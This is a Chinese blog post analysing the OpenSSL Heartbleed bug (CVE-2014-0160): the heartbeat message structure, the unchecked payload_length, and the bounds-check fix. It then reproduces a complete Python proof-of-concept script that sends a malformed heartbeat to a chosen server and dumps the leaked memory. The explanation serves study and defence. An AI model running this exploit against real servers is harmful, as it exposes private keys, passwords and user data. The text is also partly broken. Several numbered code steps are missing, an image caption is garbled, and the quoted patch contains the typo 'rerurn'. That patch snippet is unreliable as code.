Heart bleed 漏洞源码与过程解析

最新推荐文章于 2025-05-23 13:39:22 发布

Marvin_Huoshan

最新推荐文章于 2025-05-23 13:39:22 发布

阅读量1.3k

点赞数

CC 4.0 BY-SA版权

分类专栏：网络安全文章标签： heart bleed openssl

本文链接：https://blog.youkuaiyun.com/Marvin_Huoshan/article/details/85049291

网络安全专栏收录该内容

7 篇文章

订阅专栏

Heartbleed漏洞源于OpenSSL中的边界检查错误，允许攻击者通过未验证的length字段获取受害者内存信息。攻击者控制payload_length，导致内存溢出，泄露敏感数据。修复措施主要是增加边界检查，防止超出范围的数据读取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Heartbleed漏洞，这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

引用一下知乎上看到的一张图片，十分形象：

Openssl漏洞源码分析：

存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。

心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。

通过阅读RFC6520我们可以得到heartbeat的数据结构：

 enum{
      heartbeat_request(1),
      heartbeat_response(2),
      (255)
   }HeartbeatMessageType;

 
   struct{
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   }HeartbeatMessage;

这条HeartbeatMessage通过SSL3_RECORD结构——一种SSL/TLS通信基础构建块——进行传输。SSL3_RECORD中的关键性字段如下所示，其中length代表接收到的HeartbeatMessage内容为多少字节、data则为指向该HeartbeatMessage的指针。

struct ssl3_record_st{
    unsigned int length;    /*How many bytes available*/
    unsigned char *data;    /*pointer to the record data*/
}SSL3_RECORD;

SSL3记录中的data指向接收到的HeartbeatMessage的起始位置，而length代表接收到的HeartbeatMessage的字节数量。与此同时，HeartbeatMessage中的payload_length代表被发回的随意有效负载的字节数量。

发出HeartbeatMessage的一方对payload_length拥有控制权，SSL3_RECORD中的length字段并没有经过验证、而这一状况就成了攻击者实现内存溢出绝佳机会。

攻击过程图：

Heartbleed: OpenSSLå¯ç ä¸å å¯å¯é¥æ³é²æ¼æ´åæ

攻击者在发出的HeartbeatMessage当中包含了仅为1字节的有效负载，这一情况也被反映在了SSL3的length记录当中;不过payload length字段要求有效负载长度应该为65535字节。受害者忽略了SSL3记录，转而从内存接收到的HeartbeatMessage起始处开始读取65535字节的数据并将其复制到缓存当中，最终以合适的长度发送回攻击者处。由于包含大量额外字节，上图中红色单元格所示即为可能导致信息泄露的数据部分。

以下代码为OpenSSL对HeartbeatMessage输入内容的处理方式，其中p为指向该信息起始处的指针：

1,获取心跳请求包对应的SSLv3记录中数据指针字段，指向request的请求数据部分。

这样，信息类型就被体现在hbtype变量当中，该指针由1字节开始递增，而n2s()宏将长度为16-bit的Heartbeat有效负载写入到payload变量中并将该指针增加到2字节。接下来，pl又成为指向这部分有效负载内容的指针。

举例来说，一条Heartbeat信息中的payload length为65535字节，即：一条接收到的Heartbeat中最多可能包含64KB有效负载。代码必须将收到的HeartbeatMessage以副本形式发送回去，从而保证缓存区拥有足够的空间来保存64KB有效负载、1字节信息类型、2字节有效负载长度外加部分填充字节，具体结构如前所述。

3，

没有判断请求记录中的真正数据长度，直接用length字段的值来申请空间。

利用以下代码创建HeartbeatMessage回复结构，其中bp为指向HeartbeatMessage回复起始位置的指针：

4，

这部分代码会将响应类型写入到缓存起始位置、递增缓存指针、利用s2n()宏向内存中写入16-bit payload长度并以2字节为单位递增缓存指针，而后将payload的字节数量从接收到的有效负载中（pl）复制到用于回复的有效负载发送内容中。

payload由攻击者全面控制，而且64KB也足以容纳大量信息。假如由攻击者发送的HeartbeatMessage只拥有1字节有效负载，而且其payload length又与实际情况不符，那么以上代码中的memcpy()就会在接收到的HeartbeatMessage之外从起始处读取受害者的内存进程。如上攻击过程图

tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样，不再分析。

修复手段

OpenSSL 1.0.1g中的补丁从本质上讲就是一项边界检查，旨在利用SSL3结构(s3->rrec)中的正确长度记录描述输入的HeartbeatMessage。

hbtype=*p++;
n2s(p,payload);
if(1+2+payload+16>s->s3->rrec.length)
    rerurn 0;
/*silently discard per RFC 6520 sec. 4*/
p1=p;

攻击：

网络上流传甚广的python POC文件：

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code
# Minor customizations by Malik Mesellem (@MME_IT)

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

在终端输入